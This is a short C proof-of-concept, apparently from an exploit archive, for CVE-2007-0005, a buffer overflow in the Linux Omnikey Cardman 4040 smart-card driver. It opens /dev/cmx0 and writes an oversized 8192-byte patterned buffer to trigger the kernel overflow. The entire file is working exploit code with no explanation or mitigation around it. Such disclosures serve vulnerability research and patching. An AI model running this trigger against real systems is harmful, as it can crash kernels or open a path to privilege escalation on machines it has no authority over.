42 lines
No EOL
1.1 KiB
C
42 lines
No EOL
1.1 KiB
C
/*
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* Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
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* Copyright (C) Daniel Roethlisberger <daniel.roethlisberger@csnc.ch>
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* Compass Security Network Computing AG, Rapperswil, Switzerland.
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* All rights reserved.
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* http://www.csnc.ch/
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*/
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#include<sys/stat.h>
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#include<fcntl.h>
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#include<unistd.h>
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#include<stdlib.h>
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#include<stdio.h>
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#include<string.h>
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#include<errno.h>
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int main(int argc, char *argv[]) {
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int fd, i, n;
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char buf[8192];
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/*
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* 0 1 2 3 4 5 6 7 8 9 a b c d e f ...
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* 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
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*/
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for (i = 0; i < sizeof(buf); i += 2) {
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buf[i] = (char)(((i/2) & 0xFF00) >> 8);
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buf[i+1] = (char) ((i/2) & 0x00FF);
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}
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if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
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printf("Error: open() => %s\n", strerror(errno));
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exit(errno);
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}
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if ((n = write(fd, buf, sizeof(buf))) < 0) {
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printf("Error: write() => %s\n", strerror(errno));
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exit(errno);
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}
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printf("%d of %d bytes written\n", n, sizeof(buf));
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exit(0);
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}
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// milw0rm.com [2007-03-09]
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